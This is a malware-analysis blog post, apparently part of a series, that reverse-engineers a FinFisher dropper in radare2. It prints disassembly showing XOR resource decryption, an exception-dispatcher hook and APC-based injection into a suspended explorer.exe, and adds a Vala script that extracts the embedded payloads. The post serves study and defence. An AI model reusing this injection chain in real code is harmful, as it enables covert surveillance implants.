Fork me on GitHub

Second process Entry Point of the Finfisher

This is the second article about the finfisher dropper. In the last article i described how the binary gets copied and started with a different entry point. I will try to get more specific about radare2 moves in this one. Part 1 Part 3 Part 4

Filename sha256
finfisher.1.bin.exe f827c92fbe832db3f09f47fe0dcaafd89b40c7064ab90833a1f418f2d1e75e8e
  • First of all we will fire up a new r2 project for our incoming reversing job.
r2 -p finfisher1 finfisher.1.exe.bin

Projects are saved at


We start some analysis with aa to get r2 find all function boundaries. Next we jump to our new discovered entry point from the last article 0x00401e1f.

Note to move to this address use s 0x00401e1f

The visual mode ist the most useful i think so Vp is my first move at the beginning. Its helpful to rename functions as soon as we discover what they do. We know the address 0x00401e1f is the other entry point into this binary so we simply rename it with dr to SecondMain It`s also possible to redefine the analysed block with the following steps: 1. Jump to the function you want to change 2. du to remove its metadata 3. c get in cursor mode (thats the star at the current position) 4. HJKL move around and mark the function bytes 5. df define a function in size of the marked region 6. dr rename it to a meaningful name The cool thing is, that we are able to jump to the defined function with s SecondMain with tab completion. The new entry point starts with closing the duplicated handle from the previous execution. After that it deletes the previous executable. There are two additional files hidden in the resource section of this binary. The following function gets the offset of the resource.

;-- getResourceOffset:
0x0040255a    8bff         mov edi, edi
0x0040255c    55           push ebp
0x0040255d    8bec         mov ebp, esp
0x0040255f    8b4d08       mov ecx, [ebp+0x8]          ; BaseAddress
0x00402562    8b413c       mov eax, [ecx+0x3c]         ; e_lfanew
0x00402565    03c1         add eax, ecx                ; IMAGE_NT_HEADER
0x00402567    8b8088000000 mov eax, [eax+0x88]         ; resource directory
0x0040256d    85c0         test eax, eax
0x0040256f    7465         je 0x4025d6
0x00402571    56           push esi                    ; BaseAddress
0x00402572    57           push edi                    ; 5
0x00402573    bfffff0000   mov edi, 0xffff ; 0x0000ffff 
0x00402578    397d0c       cmp [ebp+0xc], edi          ; is id > 0xffff
0x0040257b    8d3408       lea esi, [eax+ecx]
0x0040257e    760c         jbe 0x40258c
0x00402580    56           push esi
0x00402581    ff750c       push dword [ebp+0xc]
0x00402584    56           push esi
0x00402585    e875ffffff   call 0x4024ff
0x0040258a    eb09         jmp 0x402595
0x0040258c    ff750c       push dword [ebp+0xc]        ; 5
0x0040258f    56           push esi                    ; resource directory
0x00402590    e83affffff   call 0x4024cf               ; get ressource id 5
0x00402595    85c0         test eax, eax
0x00402597    743b         je 0x4025d4                 ; if 0 -> end
0x00402599    8b4004       mov eax, [eax+0x4]          ; 0x8000088 to eax
0x0040259c    53           push ebx
0x0040259d    bbffffff7f   mov ebx, 0x7fffffff ; 0x7fffffff 
0x004025a2    23c3         and eax, ebx
0x004025a4    03c6         add eax, esi
0x004025a6    397d10       cmp [ebp+0x10], edi
0x004025a9    760c         jbe 0x4025b7
0x004025ab    56           push esi
0x004025ac    ff7510       push dword [ebp+0x10]
0x004025af    50           push eax
0x004025b0    e84affffff   call 0x4024ff
0x004025b5    eb09         jmp 0x4025c0
0x004025b7    ff7510       push dword [ebp+0x10]
0x004025ba    50           push eax
0x004025bb    e80fffffff   call 0x4024cf
0x004025c0    85c0         test eax, eax
0x004025c2    740f         je 0x4025d3
0x004025c4    8b4004       mov eax, [eax+0x4]
0x004025c7    23c3         and eax, ebx
0x004025c9    8b443014     mov eax, [eax+esi+0x14]
0x004025cd    8b0430       mov eax, [eax+esi]
0x004025d0    034508       add eax, [ebp+0x8]
0x004025d3    5b           pop ebx
0x004025d4    5f           pop edi
0x004025d5    5e           pop esi
0x004025d6    5d           pop ebp
0x004025d7    c20c00       ret 0xc
  • Theres another function like this one that returns the size of the resource.
;-- getResourceSize:
0x004025df    8bff         mov edi, edi
0x004025e1    55           push ebp
0x004025e2    8bec         mov ebp, esp
0x004025e4    8b4d08       mov ecx, [ebp+0x8]
0x004025e7    8b413c       mov eax, [ecx+0x3c]
0x004025ea    03c1         add eax, ecx
0x004025ec    8b8088000000 mov eax, [eax+0x88]
0x004025f2    85c0         test eax, eax
0x004025f4    7463         je 0x402659
0x004025f6    56           push esi
0x004025f7    57           push edi
0x004025f8    bfffff0000   mov edi, 0xffff ; 0x0000ffff 
0x004025fd    397d0c       cmp [ebp+0xc], edi
0x00402600    8d3408       lea esi, [eax+ecx]
0x00402603    760c         jbe 0x402611
0x00402605    56           push esi
0x00402606    ff750c       push dword [ebp+0xc]
0x00402609    56           push esi
0x0040260a    e8f0feffff   call 0x4024ff
0x0040260f    eb09         jmp 0x40261a
0x00402611    ff750c       push dword [ebp+0xc]
0x00402614    56           push esi
0x00402615    e8b5feffff   call 0x4024cf
0x0040261a    85c0         test eax, eax
0x0040261c    7439         je 0x402657
0x0040261e    8b4004       mov eax, [eax+0x4]
0x00402621    53           push ebx
0x00402622    bbffffff7f   mov ebx, 0x7fffffff ; 0x7fffffff 
0x00402627    23c3         and eax, ebx
0x00402629    03c6         add eax, esi
0x0040262b    397d10       cmp [ebp+0x10], edi
0x0040262e    760c         jbe 0x40263c
0x00402630    56           push esi
0x00402631    ff7510       push dword [ebp+0x10]
0x00402634    50           push eax
0x00402635    e8c5feffff   call 0x4024ff
0x0040263a    eb09         jmp 0x402645
0x0040263c    ff7510       push dword [ebp+0x10]
0x0040263f    50           push eax
0x00402640    e88afeffff   call 0x4024cf
0x00402645    85c0         test eax, eax
0x00402647    740d         je 0x402656
0x00402649    8b4004       mov eax, [eax+0x4]
0x0040264c    23c3         and eax, ebx
0x0040264e    8b443014     mov eax, [eax+esi+0x14]
0x00402652    8b443004     mov eax, [eax+esi+0x4]
0x00402656    5b           pop ebx
0x00402657    5f           pop edi
0x00402658    5e           pop esi
0x00402659    5d           pop ebp
0x0040265a    c20c00       ret 0xc
  • The resources are both decrypted with this function block. It`s a simple decrypt through xor that starts with 0x5f1eca67. and iterates dword size through the given resource. I wrote the get and decrypt resource stuff in vala to be able to get the new files through the static reversing process with radare.
;-- Decrypt:
0x00402662    8bff         mov edi, edi
0x00402664    55           push ebp
0x00402665    8bec         mov ebp, esp
0x00402667    8b4d08       mov ecx, [ebp+0x8]
0x0040266a    8b11         mov edx, [ecx]
0x0040266c    8b450c       mov eax, [ebp+0xc]
0x0040266f    56           push esi
0x00402670    8bf2         mov esi, edx
0x00402672    81f667ca1e5f xor esi, 0x5f1eca67
0x00402678    c1e802       shr eax, 0x2
0x0040267b    57           push edi
0x0040267c    8931         mov [ecx], esi
0x0040267e    8d78ff       lea edi, [eax-0x1]
0x00402681    33f6         xor esi, esi
0x00402683    85ff         test edi, edi
0x00402685    7615         jbe 0x40269c
0x00402687    53           push ebx
0x00402688    8b44b104     mov eax, [ecx+esi*4+0x4]
0x0040268c    8bd8         mov ebx, eax
0x0040268e    33da         xor ebx, edx
0x00402690    895cb104     mov [ecx+esi*4+0x4], ebx
0x00402694    46           inc esi
0x00402695    3bf7         cmp esi, edi
0x00402697    8bd0         mov edx, eax
0x00402699    72ed         jb 0x402688
0x0040269b    5b           pop ebx
0x0040269c    5f           pop edi
0x0040269d    5e           pop esi
0x0040269e    5d           pop ebp
0x0040269f    c20800       ret 0x8
using Radare;

public static uint64 getresource(RCore core, uint64 bas, uint16 id) {
    uint8 buf[512];
    uint16 numberofid;
    core.read_at (bas+0xE, buf, 2);
    numberofid = *(uint16*)buf;
    uint64 current = bas + 0x10;

    uint i;
    for (i = 0; i < numberofid; i++) {
        core.read_at ( current, buf, 4);
        if (id == *(uint*)buf) {
        current += 8;
    return current;

public static uint64 getressource2(RCore core, uint64 base_addr, uint16 id1, uint16 id2, uint *len) {
    uint8 buffer[512];
    int mask = 0x7fffffff;
    uint64 first = getresource (core, base_addr, id1);
    core.read_at (first + 4, buffer, 4);
    int off = *(int*)buffer;
    off &= mask;
    off += (int)base_addr;
    uint64 second = getresource (core, (uint64)off, id2);
    core.read_at (second + 4, buffer, 4);
    int off2 = *(int*)buffer;
    off2 &= mask;
    core.read_at (base_addr + (uint64)off2 + 0x14, buffer, 4);
    off2 = *(int*)buffer;
    core.read_at (base_addr + (uint64)off2, buffer, 4);
    uint64 final = (uint64)0x400000 + (uint64)(*(int*)buffer);
    core.read_at (base_addr + (uint64)off2 + 4, buffer, 4);
    *len = *(uint*)buffer;
    return final;

public static void decrypt(RCore core, uint64 base_addr, uint size) {
    uint8 buffer[512];
    uint tmp = 0;
    uint last = 0;
    int i;
    core.read_at (base_addr, buffer, 4);
    last = *(uint*)buffer;
    tmp = 0x5f1eca67 ^ last;
    core.write_at (base_addr, (uint8*)(&tmp), 4);
    size >>= 2;
    size -= 1;
    for(i = 0; i < size; i++) {
        core.read_at (base_addr + (i*4) + 4, buffer, 4);
        tmp = last ^ *(uint*)buffer;
        core.write_at (base_addr + (i*4) + 4, (uint8*)(&tmp), 4);
        last = *(uint*)buffer;

public static void entry(RCore core) {
    uint len = 0;
    uint len2 = 0;
    uint64 off = getressource2(core, (uint64)0x405000, 5, 1, &len);
    uint64 off2 = getressource2(core, (uint64)0x405000, 5, 2, &len2);
    stdout.printf("Addr1: %llx size: %x\n", off, len);
    stdout.printf("Addr2: %llx size: %x\n", off2, len2);
    decrypt (core, off, len);
    decrypt (core, off2, len2);

Note to dump the parts from memory to file use:

pr 0x96200 @ 0x4198bc > resource1.exe
pr 0x12d77 @ 0x4afabc > resource2.jpg
  • After decrypting is done the first resource is written to a new executable named after the old one to the temp folder. The other resource is named .jpeg. The decision for the file ending is contained in the third resource section. ShellExecute will open the new stuff.
0x004021bf    ff15b0104000 call dword [reloc.SHELL32.dll_ShellExecuteExW]
0x004021c5    399dccf5ffff cmp [ebp-0xa34], ebx
0x004021cb    7512         jne 0x4021df
0x004021cd    57           push edi
0x004021ce    53           push ebx
0x004021cf    53           push ebx
0x004021d0    8d85ecfbffff lea eax, [ebp-0x414] ; 0xfffffbec 
0x004021d6    50           push eax
0x004021d7    56           push esi
0x004021d8    53           push ebx
0x004021d9    ff15ac104000 call dword [reloc.SHELL32.dll_ShellExecuteW]
0x004021df    6aff         push 0xffffffff
0x004021e1    ffb5acf5ffff push dword [ebp-0xa54]
0x004021e7    ff1568104000 call dword [reloc.KERNEL32.dll_WaitForSingleObject]
0x004021ed    8d85f4fdffff lea eax, [ebp-0x20c] ; 0xfffffdf4 
0x004021f3    50           push eax
0x004021f4    e8d5f8ffff   call 0x401ace
  • The most interesting part follows at 0x401ace. This block tries to get the address of KiUserExecptionDispatcher located in ntdll.dll. It saves 4 times the size of a dword from this position and writes 0x68, 0x4018ca and 0xc3 at the top. 0x68 is the code for a simple push followed by the address of the desired address 0x4018ca Finally 0xc3 is a ret. The next what will happen is that ud2 fires a exception and will cause KiUserExceptionDispatcher to be called.
0x00401ace    8bff         mov edi, edi
0x00401ad0    55           push ebp
0x00401ad1    8bec         mov ebp, esp
0x00401ad3    81ecc0060000 sub esp, 0x6c0
0x00401ad9    a100404000   mov eax, [] ;
0x00401ade    33c5         xor eax, ebp
0x00401ae0    8945fc       mov [ebp-0x4], eax
0x00401ae3    8b4508       mov eax, [ebp+0x8]
0x00401ae6    53           push ebx
0x00401ae7    56           push esi
0x00401ae8    57           push edi
0x00401ae9    6878124000   push 0x401278 ; 0x00401278 
0x00401aee    686c124000   push 0x40126c ; 0x0040126c 
0x00401af3    8985b0f9ffff mov [ebp-0x650], eax
0x00401af9    ff1548104000 call dword [reloc.KERNEL32.dll_GetModuleHandleA]
0x00401aff    50           push eax
0x00401b00    e8a2fcffff   call 0x4017a7
0x00401b05    8bd8         mov ebx, eax
0x00401b07    8d85b4f9ffff lea eax, [ebp-0x64c]             ; oldprotect
0x00401b0d    50           push eax
0x00401b0e    6a40         push 0x40 ; '@'
0x00401b10    6a10         push 0x10 ; 0x00000010 
0x00401b12    53           push ebx
0x00401b13    ff1544104000 call dword [reloc.KERNEL32.dll_VirtualProtect]
0x00401b19    8bf3         mov esi, ebx
0x00401b1b    8d7dec       lea edi, [ebp-0x14]          ; kiuserbytes
0x00401b1e    a5           movsd
0x00401b1f    a5           movsd
0x00401b20    a5           movsd
0x00401b21    a5           movsd
0x00401b22    c60368       mov byte [ebx], 0x68         ; push
0x00401b25    c74301ca184. mov dword [ebx+0x1], 0x4018ca        ; address
0x00401b2c    c64305c3     mov byte [ebx+0x5], 0xc3 ; ret
0x00401b30    0f0b         ud2                                          ; undefined instruction 
  • This code block increments the eip located in the CONTEXT struct (thats the second argument of KiUserExceptionDispatcher) with 2 and 0x40325a to move over 'ud2'. Finally 0x40325a calls NtContinue to continue the process.
[0x00401ace]> pd 20 @ 0x4018ca
0x004018ca    8bc4         mov eax, esp
0x004018cc    50           push eax
0x004018cd    e8d5ffffff   call 0x4018a7
0x004018a7    8bff         mov edi, edi
0x004018a9    55           push ebp
0x004018aa    8bec         mov ebp, esp
0x004018ac    8b4508       mov eax, [ebp+0x8]
0x004018af    8b4004       mov eax, [eax+0x4]
0x004018b2    8380b800000. add dword [eax+0xb8], 0x2
0x004018b9    6a00         push 0x0
0x004018bb    50           push eax
0x004018bc    e899190000   call 0x40325a
0x004018c1    5d           pop ebp
0x004018c2    c20400       ret 0x4
  • The original KiUserExceptionDispatcher gets restored
0x00401b32    8d75ec       lea esi, [ebp-0x14]          ; kiuserbytes
0x00401b35    8bfb         mov edi, ebx
0x00401b37    a5           movsd
0x00401b38    a5           movsd
0x00401b39    a5           movsd
0x00401b3a    8d85b4f9ffff lea eax, [ebp-0x64c]         ; oldprotect
0x00401b40    50           push eax
0x00401b41    a5           movsd
0x00401b42    ffb5b4f9ffff push dword [ebp-0x64c]
0x00401b48    6800100000   push 0x1000 ; 0x00001000 
0x00401b4d    53           push ebx
0x00401b4e    ff1544104000 call dword [reloc.KERNEL32.dll_VirtualProtect]
  • This block spawn`s a explorer.exe. As the creation flags are 0x04 its CREATE_SUSPENDED. The processinformation struct is located at [ebp-0x668] and will contain the handles to the new created process.
typedef struct _PROCESS_INFORMATION {
  HANDLE hProcess;
  HANDLE hThread;
  DWORD  dwProcessId;
  DWORD  dwThreadId;
0x00401b54    6850124000   push 0x401250            ; UNICODE explorer.exe
0x00401b59    be04010000   mov esi, 0x104           
0x00401b5e    56           push esi
0x00401b5f    8d85e4fdffff lea eax, [ebp-0x21c] ; 0xfffffde4 
0x00401b65    50           push eax
0x00401b66    e86cfdffff   call 0x4018d7            ; copy string
0x00401b6b    6a44         push 0x44 ; 'D'
0x00401b6d    33db         xor ebx, ebx
0x00401b6f    8d8540f9ffff lea eax, [ebp-0x6c0] ; 0xfffff940 
0x00401b75    53           push ebx
0x00401b76    50           push eax
0x00401b77    e8600e0000   call 0x4029dc            ; memset
0x00401b7c    33c0         xor eax, eax
0x00401b7e    8dbd98f9ffff lea edi, [ebp-0x668] ; 0xfffff998 
0x00401b84    ab           stosd
0x00401b85    ab           stosd
0x00401b86    83c40c       add esp, 0xc
0x00401b89    ab           stosd
0x00401b8a    ab           stosd
0x00401b8b    8d8598f9ffff lea eax, [ebp-0x668] ; 0xfffff998 
0x00401b91    50           push eax                 ; out -> processinformation
0x00401b92    8d8540f9ffff lea eax, [ebp-0x6c0] ; 0xfffff940 
0x00401b98    50           push eax                 ; startupinfo
0x00401b99    53           push ebx                 ; current directory
0x00401b9a    53           push ebx                 ; envoronment
0x00401b9b    6a04         push 0x4                 ; creationFlags
0x00401b9d    53           push ebx                 ; binheritedHandles
0x00401b9e    53           push ebx                 ; lpThreadAttributes
0x00401b9f    53           push ebx                 ; lpProcessAttributes
0x00401ba0    8d85e4fdffff lea eax, [ebp-0x21c] ; 0xfffffde4 
0x00401ba6    50           push eax                 ; lpCommandLine
0x00401ba7    53           push ebx                 ; lpApplicationName
0x00401ba8    ff1540104000 call dword [reloc.KERNEL32.dll_CreateProcessW]
  • To get to know whats happening in the next few blocks its necessary to save the information where locally the different windows functions are saved.

    Note ExitProcess gets saved to [ebp-0x228]

0x00401c6d    6808124000   push 0x401208 ; ExitProcess
0x00401c72    57           push edi
0x00401c73    8985dcfdffff mov [ebp-0x224], eax     ; DeleteFileW
0x00401c79    e829fbffff   call getExportFromName
0x00401c7e    68f4114000   push 0x4011f4 ; RemoveDirectoryW
0x00401c83    57           push edi
0x00401c84    8985d8fdffff mov [ebp-0x228], eax     ; ExitProcess
  • The last block like this gets the address of NtCreateSection

Note hexdump some address

[0x00401c6d]> px 20 @ 0x004011bc
- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF
0x004011bc  4e74 4372 6561 7465 5365 6374 696f 6e00  NtCreateSection
0x00401ca8    68bc114000   push 0x4011bc ; NtCreateSection
0x00401cad    57           push edi
0x00401cae    8985b0f9ffff mov [ebp-0x650], eax
0x00401cb4    ffd6         call esi
0x00401cb6    50           push eax
0x00401cb7    e8ebfaffff   call getExportFromName
  • I will skip all the details here, the necessary part is that call eax calls NtCreateSection.
0x00401cbc    53           push ebx
0x00401cbd    6800000008   push 0x8000000 ; 0x08000000 
0x00401cc2    6a40         push 0x40 ; '@'
0x00401cc4    8d8d8cf9ffff lea ecx, [ebp-0x674] ; 0xfffff98c 
0x00401cca    51           push ecx
0x00401ccb    53           push ebx
0x00401ccc    be1f000f00   mov esi, 0xf001f ; 0x000f001f 
0x00401cd1    56           push esi
0x00401cd2    8d8db8f9ffff lea ecx, [ebp-0x648] ; 0xfffff9b8 
0x00401cd8    bf00100000   mov edi, 0x1000 ; 0x00001000 
0x00401cdd    51           push ecx
0x00401cde    89bd8cf9ffff mov [ebp-0x674], edi
0x00401ce4    899d90f9ffff mov [ebp-0x670], ebx
0x00401cea    ffd0         call eax                 ; NtCreateSection
  • The new section gets mapped into the current process
0x00401cec    85c0         test eax, eax
0x00401cee    0f85e4000000 jne 0x401dd8
0x00401cf4    57           push edi
0x00401cf5    53           push ebx
0x00401cf6    53           push ebx
0x00401cf7    56           push esi
0x00401cf8    ffb5b8f9ffff push dword [ebp-0x648]
0x00401cfe    ff152c104000 call dword [reloc.KERNEL32.dll_MapViewOfFile]
  • The new memory section gets filled with content. I forgot to mention [ebp-0x640] was filled before with a duplicated handle of this process and the result of GetModuleFileNameW. The resulting section is filled with 0x40 dword from 0x401849 and 0x109 dword from [ebp-0x640]. 0x401849 contains some kind of shellcode that will be reversed in the next article.
0x00401d04    3bc3         cmp eax, ebx
0x00401d06    8985bcf9ffff mov [ebp-0x644], eax
0x00401d0c    0f84c6000000 je 0x401dd8
0x00401d12    6a40         push 0x40 ; '@'
0x00401d14    59           pop ecx
0x00401d15    8bf8         mov edi, eax
0x00401d17    be49184000   mov esi, 0x401849 ; 0x00401849 
0x00401d1c    f3a5         rep movsd
0x00401d1e    8bbdbcf9ffff mov edi, [ebp-0x644] ; 0xfffff9bc 
0x00401d24    81c700010000 add edi, 0x100
0x00401d2a    b909010000   mov ecx, 0x109 ; 0x00000109 
0x00401d2f    8db5c0f9ffff lea esi, [ebp-0x640] ; 0xfffff9c0 
0x00401d35    f3a5         rep movsd
0x00401d37    ffb5bcf9ffff push dword [ebp-0x644]
0x00401d3d    ff1528104000 call dword [reloc.KERNEL32.dll_UnmapViewOfFile]
  • The new section will now be mapped into the suspended explorer.exe process. [ebp-0x650] contains the address of ZwMapViewOfsection.
0x00401d43    6a02         push 0x2
0x00401d45    53           push ebx
0x00401d46    53           push ebx
0x00401d47    8d8594f9ffff lea eax, [ebp-0x66c] ; 0xfffff994 
0x00401d4d    50           push eax
0x00401d4e    ffb598f9ffff push dword [ebp-0x668]
0x00401d54    ffb5b8f9ffff push dword [ebp-0x648]
0x00401d5a    ff1534104000 call dword [reloc.KERNEL32.dll_GetCurrentProcess]
0x00401d60    50           push eax
0x00401d61    ff1530104000 call dword [reloc.KERNEL32.dll_DuplicateHandle]
0x00401d67    85c0         test eax, eax
0x00401d69    746d         je 0x401dd8
0x00401d6b    6a40         push 0x40 ; '@'
0x00401d6d    53           push ebx
0x00401d6e    6a01         push 0x1
0x00401d70    8d8dacf9ffff lea ecx, [ebp-0x654] ; 0xfffff9ac 
0x00401d76    51           push ecx
0x00401d77    8d8d84f9ffff lea ecx, [ebp-0x67c] ; 0xfffff984 
0x00401d7d    51           push ecx
0x00401d7e    b800100000   mov eax, 0x1000 ; 0x00001000 
0x00401d83    50           push eax
0x00401d84    53           push ebx
0x00401d85    8985acf9ffff mov [ebp-0x654], eax
0x00401d8b    8d85bcf9ffff lea eax, [ebp-0x644] ; 0xfffff9bc 
0x00401d91    50           push eax
0x00401d92    ffb598f9ffff push dword [ebp-0x668]
0x00401d98    899dbcf9ffff mov [ebp-0x644], ebx
0x00401d9e    ffb5b8f9ffff push dword [ebp-0x648]
0x00401da4    899d84f9ffff mov [ebp-0x67c], ebx
0x00401daa    899d88f9ffff mov [ebp-0x678], ebx
0x00401db0    ff95b0f9ffff call dword [ebp-0x650]
  • Finally the new created section will get called on thread resume in the new suspended process with QueueUserAPC.
0x00401db6    85c0         test eax, eax
0x00401db8    751e         jne 0x401dd8
0x00401dba    8b85bcf9ffff mov eax, [ebp-0x644] 
0x00401dc0    8d8800010000 lea ecx, [eax+0x100]
0x00401dc6    51           push ecx
0x00401dc7    ffb59cf9ffff push dword [ebp-0x664]
0x00401dcd    50           push eax
0x00401dce    ff1524104000 call dword [reloc.KERNEL32.dll_QueueUserAPC]
  • The end of this is the termination of the current process and finally resuming the thread of the modified explorer.exe.
0x00401dd4    85c0         test eax, eax
0x00401dd6    750f         jne 0x401de7
0x00401dd8    53           push ebx
0x00401dd9    ffb598f9ffff push dword [ebp-0x668]
0x00401ddf    ff1520104000 call dword [reloc.KERNEL32.dll_TerminateProcess]
0x00401de5    eb22         jmp 0x401e09
0x00401de7    ffb59cf9ffff push dword [ebp-0x664]
0x00401ded    ff151c104000 call dword [reloc.KERNEL32.dll_ResumeThread]
0x00401df3    ffb59cf9ffff push dword [ebp-0x664]
0x00401df9    8b3518104000 mov esi, [reloc.KERNEL32.dll_CloseHandle] ; reloc.KERNEL32.dll_CloseHandle
0x00401dff    ffd6         call esi
0x00401e01    ffb598f9ffff push dword [ebp-0x668]
0x00401e07    ffd6         call esi
0x00401e09    8b4dfc       mov ecx, [ebp-0x4] ; 0x000000fc 
0x00401e0c    5f           pop edi
0x00401e0d    5e           pop esi
0x00401e0e    33cd         xor ecx, ebp
0x00401e10    5b           pop ebx
0x00401e11    e8b20b0000   call 0x4029c8
0x00401e16    c9           leave
0x00401e17    c20400       ret 0x4

Edit With reversing this crap really fast i forgot to mention about the struct that gets written to the new section and that gets passed as argument through QueueUserAPC. Its needed for the next article. It starts at [ebp-0x640] and ends 0x109*4 Bytes later. In the following part the struct gets initialized with 0.

0x00401bf8    6824040000   push 0x424 ; 0x00000424 
0x00401bfd    8d85c0f9ffff lea eax, [ebp-0x640] ; 0xfffff9c0 
0x00401c03    53           push ebx
0x00401c04    50           push eax
0x00401c05    e8d20d0000   call 0x4029dc

This struct gets passed with QueueUserAPC

typedef struct {
    /* 0x00000 */   HANDLE duplicated_handle;
    /* 0x00004 */   char filename1[0x104];
    /* 0x00108 */ char unknown_1[0x20C-0x108];
    /* 0x0020C */ char filename_copy[0x104];
    /* 0x00310 */ char unknown_2[0x414-0x310];
    /* 0x00414 */ void* WaitForSingleObject;
    /* 0x00418 */ void* ExitProcess;
    /* 0x0041C */ void* DeleteFileW;
    /* 0x00420 */ void* RemoveDirectoryW;